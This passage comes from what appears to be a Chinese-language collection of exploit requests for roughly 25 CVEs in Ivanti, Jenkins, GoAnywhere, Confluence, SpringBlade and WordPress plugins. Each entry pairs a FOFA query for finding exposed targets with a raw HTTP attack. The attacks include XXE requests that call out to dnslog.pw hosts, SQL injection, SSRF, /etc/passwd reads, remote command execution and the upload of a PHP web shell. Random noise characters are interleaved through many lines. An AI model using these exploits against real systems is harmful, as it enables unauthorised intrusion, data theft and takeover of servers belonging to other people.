User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
Content-Length: 792
Accept-Encoding: gzip
; ]6 u- `7 R+ A- f/ y$ }, A; c0 L
5 h0 T9 [& M) V! K1 f<?xml version="1.0" encoding="UTF-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body>             <ds:Signature           xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                   <ds:SignedInfo>                        <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-cc14n#"/>                         <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>                    </ds:SignedInfo>                       <<ds:SignatureValue>qwerty</ds:SignatureValue>                    <ds:KeyInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.w3.org/22000/09/xmldsig" xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                         <ds:RetrievalMethod URI="http://kr9dqoau.dnslog.pw"/><<ds:X509Data/>                   </ds:KeyInfo>                  <ds:Object></ds:Object>         </ds:Signature> </soap:Body></soap:Envelope>

9 B; n. p4 K: a- s4 j# N7 S& Q; ^% Q; o; N103. Ivanti Pulse Connect Secure VPN XXE
CVE-2024-22024
FOFA：body="welcome.cgi?p=logo"
4 m1 j5 H3 }- |! sPOST /dana-na/auth/saml-sso.cgi HTTP/1.1
- |/ n. D. ^; W# c- uHost: 192.168.40.130:111
, e; x  J9 S# \User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
* z8 a4 u4 w# S, w& ~' R6 a1 `Connection: close
8 q( R- `5 l3 G  N# LContent-Length: 204
/ T3 l4 ^# J/ |2 w/ e! ~Content-Type: application/x-www-form-urlencoded
/ D) q$ m8 P% h. W; C, DAccept-Encoding: gzip

SAMLRequest=PD94bWwgdmVyc2lvbj0iMS4wIiA/PjwhRE9DVFlQRSByb290IFs8IUVOVElUWSAlIHdhdGNoVG93ciBTWVNURU0KICAgICJodHRwOi8vYzJ2a2J3YnMuZG5zbG9nLnB3L3giPiAld2F0Y2hUb3dyO10+PHI+PC9yPg==

5 @. Q+ _5 S; C, p6 n
其中SAMLRequest的值是xml文件内容的base64值，xml文件如下
. f9 _7 F4 x' Z0 q<?xml version="1.0" ?><!DOCTYPE root [<!ENTITY % watchTowr SYSTEM"http://c2vkbwbs.dnslog.pw/x"> %watchTowr;]><r></r>
: h3 |# w" |5 V& q* S6 O
3 n! l) F+ F& a. s
' v2 i3 a1 \0 _) Z5 }& ~104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
1 V# u6 [. T. B% y: l, M/ B" j  ?CVE-2024-0569
3 R( |6 ?$ t& xFOFA：title="TOTOLINK"
POST /cgi-bin/cstecgi.cgi HTTP/1.1
; N4 W# I4 q7 [Host:192.168.0.1
Content-Length:41
Accept:application/json,text/javascript，*/*;q=0.01
X-Requested-with: XMLHttpRequest
  v5 N1 R( j4 N  [2 ]User-Agent: Mozilla/5.0 (Windows NT 10.0;Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko)Chrome/99.0.4844.51Safari/537.36
Content-Type: application/x-www-form-urlencoded:charset=UTF-8
  X4 z- A. r6 Y0 Z1 E" X4 _" LOrigin: http://192.168.0.1
Referer: http://192.168.0.1/advance/index.html?time=1671152380564
Accept-Encoding:gzip,deflate
Accept-Language:zh-Tw,zh:g=0.9.en-US:g=0.8.en:g=0.7
Connection:close
( c% d8 [% m! \7 K
2 Q0 c3 ~( u) M. ?{
"topicurl":"getSysStatusCfg",
"token":""
}

5 G0 |% |0 ~1 A! S7 e% }4 k3 F$ E105. SpringBlade v3.2.0 export-user SQL 注入
1 _: u6 H$ ^" g- ?FOFA：body="https://bladex.vip"
http://192.168.40.130.90/api/bla ... ame&1-updatexml(1,concat(0x7e,md5(102103122),0x7e),1)=1
2 ~; w; E9 H& N4 k" x$ W
, U: m0 ?4 M. J0 ~* {: t; X106. SpringBlade dict-biz/list SQL 注入
) q$ F/ Z% Z# r4 ?2 ^& f% |FOFA：body="Saber 将不能正常工作"
GET /api/blade-system/dict-biz/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
' t4 I% d7 c9 o1 M5 W5 D6 s- p/ i( ]Blade-Auth: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwidXNlcl9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJyb2xlX2lkIjoiMTEyMzU5ODgxNjczODY3NTIwMSIsInVzZXJfbmFtZSI6ImFkbWluIiwib2F1dGhfaWQiOiIiLCJ0b2tlbl90eXBlIjoiYWNjZXNzX3Rva2VuIiwiZGVwdF9pZCI6IjExMjM1OTg4MTM3Mzg2NzUyMDEiLCJhY2NvdW50IjoiYWRtaW4iLCJjbGllbnRfaWQiOiJzd29yZCIsImV4cCI6MTc5MTU3MzkyMiwibmJmIjoxNjkxNTcwMzIyfQ.wxB9etQp2DUL5d3-VkChwDCV3Kp-qxjvhIF_aD_beF_KLwUHV7ROuQeroayRCPWgOcmjsOVq6FWdvvyhlz9j7A
$ l, U7 B8 P1 B7 s$ x( ZAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
( {- g& g# \& d4 v8 K, V1 YConnection: close


107. SpringBlade tenant/list SQL 注入
FOFA：body="https://bladex.vip"
- W( `. L( r1 ^# V1 SGET /api/blade-system/tenant/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
Host: your-ip
/ ~/ G# I% }8 Q9 NUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
/ g! o2 i- Y1 r$ D6 A  j/ z; xBlade-Auth:替换为自己的
Connection: close
, g! j7 V9 ?1 Y6 Z+ B) w
9 [. k! P9 ?. Y. [% \
108. D-Tale 3.9.0 SSRF
CVE-2024-21642
5 i' ]$ G4 }$ c3 p$ DFOFA："dtale/static/images/favicon.png"
+ }# n; {  k. P& d+ [$ c! \8 CGET /dtale/web-upload?type=csv&url=http%3A%2F%2Fa4xs0nop.dnslog.pw HTTP/1.1
) U% C. [3 Z, x9 M5 mHost: your-ip
Accept: application/json, text/plain, */*
6 A1 l$ n) d0 TUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
  [( s9 t2 b- L) m) y/ L: e# FAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
1 q! N8 W' w, N+ W, x9 }6 MConnection: close

2 I" B& \& z. J) y" K
109. Jenkins CLI 任意文件读取
5 `- ^8 x7 x7 V& iCVE-2024-23897
) {( i% F8 e1 w: S- ]- QFOFA：header="X-Jenkins"
POST /cli?remoting=false HTTP/1.1
Host:
Content-type: application/octet-stream
8 w- b( [# Y% i" b5 A+ K" i( DSession: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
Side: upload
Connection: keep-alive
: a# \, l# Q. Q9 G, @Content-Length: 163

' }5 p: O* K7 Eb'\x00\x00\x00\x06\x00\x00\x04help\x00\x00\x00\x0e\x00\x00\x0c@/etc/passwd\x00\x00\x00\x05\x02\x00\x03GBK\x00\x00\x00\x07\x01\x00\x05en_US\x00\x00\x00\x00\x03'
/ X% I$ G8 H6 q8 \5 g

POST /cli?remoting=false HTTP/1.1
Host:
Session: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
download
4 }5 ^& Z; W$ I7 Z/ r) Y& h- QContent-Type: application/x-www-form-urlencoded
! v! q, @# v. I) jContent-Length: 0

# T/ `3 O( h% E! O# p
ERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
java -jar jenkins-cli.jar help
[COMMAND]
" T6 t% O3 W4 }5 |/ d2 K8 vLists all the available commands or a detailed description of single command.
1 E# q( G! Y8 s- ?1 D COMMAND : Name of the command (default: root:x:0:0:root:/root:/bin/bash)

5 Z7 _, Q# ^- Z9 ^# L! l
8 l3 K1 j4 _; e3 y" d* j110. Goanywhere MFT 未授权创建管理员
CVE-2024-0204
5 p. A$ G5 w# `9 X3 dFOFA：body="InvalidBrowser.xhtml"|| icon_hash="1484947000"|| icon_hash="1828756398"|| icon_hash="1170495932"
# ?! T  y8 D4 {* u, `: j7 @  ^GET /goanywhere/images/..;/wizard/InitialAccountSetup.xhtml HTTP/1.1
Host: 192.168.40.130:8000
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2820.59 Safari/537.36
4 f6 X9 v5 ]5 a4 w5 C# fConnection: close
- v% p. z: k0 b' v" F* EAccept: */*
; F) b8 N+ }3 m: l! a) zAccept-Language: en
Accept-Encoding: gzip

$ E# Q5 g) O$ z
111. WordPress Plugin HTML5 Video Player SQL注入
CVE-2024-1061
FOFA："wordpress" && body="html5-video-player"
. P6 f3 H9 R! d2 s# HGET /?rest_route=/h5vp/v1/view/1&id=1'+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))a)--+- HTTP/1.1
Host: 192.168.40.130:112
! J* Q  D& f+ G+ P7 RUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
; q; F3 ^1 G" G4 W
7 j8 F: ~9 L7 A$ x0 y/ N5 {* A3 r
& i8 K+ q4 W9 x& t1 [3 |112. WordPress Plugin NotificationX SQL 注入
CVE-2024-1698
- B4 j3 p# [! p- }4 d( N% {9 {FOFA：body="/wp-content/plugins/notificationx"
POST /wp-json/notificationx/v1/analytics HTTP/1.1
Host: {{Hostname}}
! z3 s; Q  s. t' e! wContent-Type: application/json

{"nx_id": "1","type": "clicks`=1 and 1=sleep(5)-- -"}

( L( ?/ F2 N. B# m2 L
113. WordPress Automatic 插件任意文件下载和SSRF
  P' H* |' I" i6 hCVE-2024-27954
3 s7 K, d  O2 hFOFA："/wp-content/plugins/wp-automatic"
+ A* d' J- Y: kGET /?p=3232&wp_automatic=download&link=file:///etc/passwd HTTP/1.1
Host: x.x.x.x
1 F2 {; Q: F2 N+ L) Z/ U5 h% f  rUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

( _+ f4 _' i9 k; `% R
114. WordPress MasterStudy LMS插件 SQL注入
FOFA：body="wp-content/plugins/masterstudy-lms-learning-management-system/"
GET /?rest_route=/lms/stm-lms/order/items&author_id=1&user=1)+AND+%28SELECT+3493+FROM+%28SELECT%28SLEEP%285%29%29%29sauT%29+AND+%283071%3D3071 HTTP/1.1
3 R9 H8 ~, ~! JHost: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
+ u7 Q0 N# N, ?1 y5 ]7 O1 |0 xAccept-Charset: utf-8
4 W  l$ g, z3 X3 VAccept-Encoding: gzip, deflate
Connection: close

. |* c5 H2 q$ c, Y! o
115. WordPress Bricks Builder <= 1.9.6 RCE
CVE-2024-25600
FOFA: body="/wp-content/themes/bricks/"
第一步，获取网站的nonce值
GET / HTTP/1.1
Host: x.x.x.x
) [; ]0 T5 }' o/ i! R: U3 |; @* tUser-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
Connection: close
) [) A" _0 j$ r" Z( p. mAccept-Encoding: gzip
8 O6 D3 a+ C7 q7 j9 B# g$ [
0 l9 c6 A- L  c2 E
2 z$ P& L: R9 `6 Z; j' j$ `第二步替换nonce值，执行命令
1 [0 Z( @  T8 q; z) HPOST /wp-json/bricks/v1/render_element HTTP/1.1
( m7 [" N- X7 M7 G5 }  m6 j; [0 fHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
/ z; j3 b5 [6 o4 n5 [% r* XContent-Length: 356
Content-Type: application/json
Accept-Encoding: gzip

$ x3 ^# q1 c! i( H8 G{
"postId": "1",
  "nonce": "第一步获得的值",
5 J* w1 w( x) u+ X  "element": {
2 ~. g5 T% K, ], D9 f5 x    "name": "container",
    "settings": {
2 Y8 h' H' N) F      "hasLoop": "true",
9 R& ]; h! W2 O. I- V; p3 n: Q& `      "query": {
        "useQueryEditor": true,
        "queryEditor": "ob_start();echo `id`;$output=ob_get_contents();ob_end_clean();throw new Exception($output);",
        "objectType": "post"
      }
$ R6 [, a) V0 `3 a2 ^, }! a- M& K- P    }
  }
}

7 A/ R, G; a, J7 T
116. wordpress js-support-ticket文件上传
FOFA：body="wp-content/plugins/js-support-ticket"
1 \4 R% [- M+ s* r% yPOST /wp-admin/?page=configuration&task=saveconfiguration HTTP/1.1
/ \" E0 R( n3 n' gHost:
Content-Type: multipart/form-data; boundary=--------767099171
User-Agent: Mozilla/5.0
4 Q8 v# k$ n6 H6 v+ [, y' l: J
% Y! U, ?% N! T. e9 M& `----------767099171
Content-Disposition: form-data; name="action"
2 \( f: f2 T4 R' Hconfiguration_saveconfiguration
----------767099171
; C5 ?$ @4 r# u0 fContent-Disposition: form-data; name="form_request"
& l/ O: ?6 i( ~6 a0 N4 njssupportticket
----------767099171
4 E) \! y8 I& q' p1 N+ [Content-Disposition: form-data; name="support_custom_img"; filename="{{rand8}}.php"
Content-Type: image/png
) e! ^/ N! m! d. y  C* c+ @----------767099171--


117. WordPress LayerSlider插件SQL注入
version：7.9.11 – 7.10.0
/ Y# G) u) ?0 e1 G! @+ ^+ i2 f, EFOFA：body="/wp-content/plugins/LayerSlider/"
GET /wp-admin/admin-ajax.php?action=ls_get_popup_markup&id[where]=1)and+(SELECT+6416+FROM+(SELECT(SLEEP(5)))nEiK)--+vqlq HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
; }+ w8 h: e7 ]Upgrade-Insecure-Requests: 1
6 r* m1 k  k# g9 E* j+ T1 t* j

1 n  S3 B% w- F, g6 V# J118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
+ Q$ R) \( z4 `( ?: K7 Z6 ZCVE-2024-0939
% D/ f/ \. d2 P* D( g$ W& ^FOFA：title="Smart管理平台"
1 _4 Z( y6 [5 d' }+ l0 m' W4 K0 M& {POST /Tool/uploadfile.php? HTTP/1.1
Host: 192.168.40.130:8443
Cookie: PHPSESSID=fd847fe4280e50c2c3855ffdee69b8f8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
1 P) J0 P9 k9 |. CAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
; s4 E; }% t" s' c+ MContent-Type: multipart/form-data; boundary=---------------------------13979701222747646634037182887
" c4 P/ z; D+ h3 r. }* M8 F) ^Content-Length: 405
Origin: https://192.168.40.130:8443
Referer: https://192.168.40.130:8443/Tool/uploadfile.php
. \6 G$ _) C$ z9 T) G) }6 @2 g; i7 }Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
$ D1 h# r6 G$ Y, M1 M. N7 }1 eSec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
" J$ F; n) t1 q: r! _5 j% I2 ~$ ySec-Fetch-User: ?1
Te: trailers
+ [8 V7 k& Y% Z& _. a+ W  nConnection: close

% G# b/ x2 X; N8 ~# h8 ~8 j. ^7 n-----------------------------13979701222747646634037182887
Content-Disposition: form-data; name="file_upload"; filename="contents.php"
Content-Type: application/octet-stream

# U/ c. k' U4 W7 y# J<?php
system($_POST["passwd"]);
?>
$ o; C; ?" t( w* C" n# e3 Z/ {-----------------------------13979701222747646634037182887
Content-Disposition: form-data; name="txt_path"
# A9 O5 p# b& r% s; }0 f2 Z# r/ ], T
/home/src.php
-----------------------------13979701222747646634037182887--
; v6 ]& F$ C; o4 K) S/ c
2 q. p* N0 w4 l! F2 _8 M
& _' h. j' A5 P& r; Y访问/home/src.php

119. 北京百绰智能S20后台sysmanageajax.php sql注入
7 P2 X. R" T" }/ wCVE-2024-1254
  z% w* j7 L" OFOFA：title="Smart管理平台"
9 d. R, b: u5 u6 {/ o. K先登录进入系统，默认账号密码为admin/admin
; U% B, U6 W0 B6 n# k/ g: mPOST /sysmanage/sysmanageajax.php HTTP/1.11
Host: x.x.x.x
Cookie: PHPSESSID=b7e24f2cb8b51338e8531e0b50da49ee
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
* ~7 ^" D1 M. YAccept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
' T- c% H7 l/ a3 DContent-Type: application/x-www-form-urlencoded;
! t- |" k* Q* D1 a5 L( T) Q) KContent-Length: 109
Origin: https://58.18.133.60:8443
; ^7 X0 V' Q1 N. PReferer: https://58.18.133.60:8443/sysmanage/manageadmin.php
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
X-Forwarded-For: 1.1.1.1
X-Originating-Ip: 1.1.1.1
X-Remote-Ip: 1.1.1.1
4 W6 W6 ^& u- j( ]X-Remote-Addr: 1.1.1.1
4 D# H$ L$ y% O1 [6 e, [4 aTe: trailers
- Q% `. i- O, D' ]# Y, m  S% tConnection: close

src=manageadmin&type=add&id=(select*from(select+if(length(database())=3,sleep(5),1))a)|1|1&value=test2|123456


120. 北京百绰智能S40管理平台导入web.php任意文件上传
6 O& l4 M9 g" b. v  D9 lCVE-2024-1253
FOFA：title="Smart管理平台"
POST /useratte/web.php? HTTP/1.1
Host: ip:port
3 W5 }# D3 U( O0 ~Cookie: PHPSESSID=cb5c0eb7b9fabee76431aaebfadae6db
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
/ m6 t( e5 R4 N; [: dAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
1 _+ y# Q6 G5 a' H, L' DAccept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
Content-Length: 597
Origin: https://ip:port
* X( _* ]/ a( w" m( Z4 ?4 tReferer: https://ip:port/sysmanage/licence.php
Upgrade-Insecure-Requests: 1
2 y2 W; [) v: t, h# \8 t7 zSec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
0 @: [$ ]% K, e) \Te: trailers
Connection: close

-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="file_upload"; filename="2.php"
3 |9 L) r  ]1 H  [/ J) r# K- ~Content-Type: application/octet-stream
2 y1 v+ o, r9 Y/ _9 w% Z8 a% B$ \
& \+ Z; T' B1 h0 `5 C0 U<?php phpinfo()?>
-----------------------------42328904123665875270630079328
# q+ K: ~- k2 T. hContent-Disposition: form-data; name="id_type"

( |2 X: S8 n) ]9 w1
, Z$ b7 @( O4 ^4 u- N-----------------------------42328904123665875270630079328
: l- u7 N+ S1 X7 O$ z$ EContent-Disposition: form-data; name="1_ck"
3 ?* E7 q% S5 W0 S: `7 m, K
6 r! L  }6 D" s# C8 y$ [* {1_radhttp
-----------------------------42328904123665875270630079328
7 n- m0 a( U- j* u) ?Content-Disposition: form-data; name="mode"
$ m+ |( j% n/ k: R3 V! b7 h+ e/ o
* a) U8 X' l/ n6 `. ?9 u- [* x: g: j% simport
0 ?4 H5 F6 z+ A- r-----------------------------42328904123665875270630079328


文件路径/upload/2.php
  L& n" O- r7 ~" M+ R5 U! }
! u6 i0 e6 }) ?6 a8 o( G121. 北京百绰智能S42管理平台userattestation.php任意文件上传
CVE-2024-1918
4 a& c0 a- y- {" W5 YFOFA：title="Smart管理平台"
POST /useratte/userattestation.php HTTP/1.1
' y" ?: B3 t1 E0 AHost: 192.168.40.130:8443
9 A3 K1 g, c' v0 ECookie: PHPSESSID=2174712c6aeda51c4fb6e6c5e6aaac50
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
* v6 X( r+ P, x6 z* ^% a% fAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
" U/ l. Z1 v/ k) X9 [9 I1 b" dAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
5 j# E5 q7 O9 x3 [7 J7 o* NContent-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
Content-Length: 592
Origin: https://192.168.40.130:8443
% g. n1 u7 v+ t6 j  R2 {Upgrade-Insecure-Requests: 1
/ C0 F. A* a3 r9 q; i! r1 ]Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
' s; a" u! p. w8 Y9 D9 E5 J, QSec-Fetch-User: ?1
$ |" _% B, M/ |4 p  U& n- H. @  n( FTe: trailers
, O8 z$ g, H8 ]9 _/ A) b/ Q9 ~: U3 m/ uConnection: close
' l  K5 |9 b0 w( h
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="web_img"; filename="1.php"
. L% h% i+ Z  e0 HContent-Type: application/octet-stream
" w- S9 n  \6 k( k
<?php phpinfo();?>
$ d  |) I# \' P; Y* e-----------------------------42328904123665875270630079328
" X0 z0 O& h) D+ v' n9 ^5 FContent-Disposition: form-data; name="id_type"

1
( J+ x; t4 V3 a% |2 A  Y2 G2 Y-----------------------------42328904123665875270630079328
, g% H9 A- s( p3 c" g: E+ _Content-Disposition: form-data; name="1_ck"
* [+ T  u2 V; L1 [8 [1 x$ M$ X5 k
1_radhttp
-----------------------------42328904123665875270630079328
; j0 x) G" i# g4 Q- ZContent-Disposition: form-data; name="hidwel"

  w& O1 f) F. Yset
-----------------------------42328904123665875270630079328


; m6 w/ j) ?. A# xboot/web/upload/weblogo/1.php

122. 北京百绰智能s200管理平台/importexport.php sql注入
CVE-2024-27718FOFA：title="Smart管理平台"
* \9 f3 g3 |6 Y% k其中sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=是sql语句使用base64加密后的内容，原文：sql=select 1,database(),version()
GET /importexport.php?sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=&type=exportexcelbysql HTTP/1.1
! j' O/ o* k6 c# e% d7 f6 W$ T& b" v8 vHost: x.x.x.x
Cookie: PHPSESSID=f20e837c8024f47058ad2f689873dfc0
' @; t8 n$ f+ u& w* D9 x6 @- aUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
( X9 H8 T. p* Q: P# p4 b) J4 G/ }Accept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
& |5 z7 j4 z/ I! g: @9 ?. jSec-Fetch-Site: none
2 R2 Y2 w# A8 M! r3 XSec-Fetch-User: ?1
8 x+ c+ [& G  `; t/ t- @6 Y6 A0 m. K. ^Te: trailers
) s$ y% T+ j/ Q1 Z+ b# x  {Connection: close


123. Atlassian Confluence 模板注入代码执行
FOFA：app="ATLASSIAN-Confluence" && body="由 Atlassian 合流8.5.3"
POST /template/aui/text-inline.vm HTTP/1.1
+ a( c4 M2 h- j! hHost: localhost:8090
Accept-Encoding: gzip, deflate, br
% W. B; e5 f1 U  V5 sAccept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
* Y/ }2 O/ j$ X2 rUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
+ O* f. @7 v1 T) Y: v/ P  RConnection: close
Content-Type: application/x-www-form-urlencoded
' a& }, a; B# f+ R
label=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=@org.apache.struts2.ServletActionContext@getResponse().setHeader('X-Cmd-Response',(new freemarker.template.utility.Execute()).exec({"id"}))

- Z$ D% U) O; T* d" Q* T
/ w+ O. h6 U* b124. 湖南建研工程质量检测系统任意文件上传
FOFA：body="/Content/Theme/Standard/webSite/login.css"
POST /Scripts/admintool?type=updatefile HTTP/1.1
Host: 192.168.40.130:8282
/ @0 s0 M( h: W) n+ b6 N7 @User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
Content-Length: 72
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
2 z) z. c) C" Y8 Z) l( b7 fAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Content-Type: application/x-www-form-urlencoded
- F# q! }/ z4 f% f: P
filePath=abcgcg.aspx&fileContent=<%Response.Write("Hello,World")%>


6 Y! R7 W) J! Y" Y5 _http://192.168.40.130:8282/Scripts/abcgcg.aspx

125. ConnectWise ScreenConnect身份验证绕过
  ]. s" _4 ^: J9 TCVE-2024-1709
' N: K9 A( Z! f: i2 {' `FOFA：icon_hash="-82958153"
https://github.com/watchtowrlabs ... bypass-add-user-poc


7 i* }9 E; x- M. T! O! [* R* Q使用方法
0 f) f: ^2 a" G  k; v. upython watchtowr-vs-ConnectWise_2024-02-21.py --url http://localhost --username hellothere --password admin123!
. b# f+ e: T8 j* H

6 y6 I; ], A9 V; x. Z' k9 O创建好用户后直接登录后台，可以执行系统命令。
% L- ?# R- X+ h7 Y  C) M3 m
126. Aiohttp 路径遍历
& E$ M2 e' [& Y7 jFOFA：title=="ComfyUI"
GET /static/../../../../../etc/passwd HTTP/1.1
Host: x.x.x.x
; G- r4 |4 x5 e1 \! G2 {User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
Accept: */*
9 G" p% D9 `: i' \7 J- |" aAccept-Language: en
( T' q8 j7 q0 w% N' u/ j0 y/ @: lAccept-Encoding: gzip
6 l# W3 M- ?3 v4 X& X# \

% s  n+ A" E' _+ h127. 广联达Linkworks DataExchange.ashx XXE
% D' j( ?9 A# R. |6 cFOFA：body="Services/Identification/login.ashx"
7 d7 @7 c3 {" E8 v1 ]; q- kPOST /GB/LK/Document/DataExchange/DataExchange.ashx HTTP/1.1
Host: 192.168.40.130:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
6 P8 C5 [/ V8 R3 N- t9 fContent-Length: 415
# ?. e& s' w6 RAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
3 Y$ u2 w# E. j$ u+ V  AConnection: close
$ b( S  y; w) a$ }3 X5 VContent-Type: multipart/form-data;boundary=----WebKitFormBoundaryJGgV5l5ta05yAIe0
Purpose: prefetch
* R& ?" Q3 }6 t; lSec-Purpose: prefetch;prerender

------WebKitFormBoundaryJGgV5l5ta05yAIe0
Content-Disposition: form-data;name="SystemName"

BIM
/ g7 E9 E8 V7 V- z( X% E2 I- V------WebKitFormBoundaryJGgV5l5ta05yAIe0
Content-Disposition: form-data;name="Params"
Content-Type: text/plain

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
9 p( W0 b) `, I0 v$ l. c0 z8 _<!ENTITY t SYSTEM "http://c2vkbwbs.dnslog.pw">
]
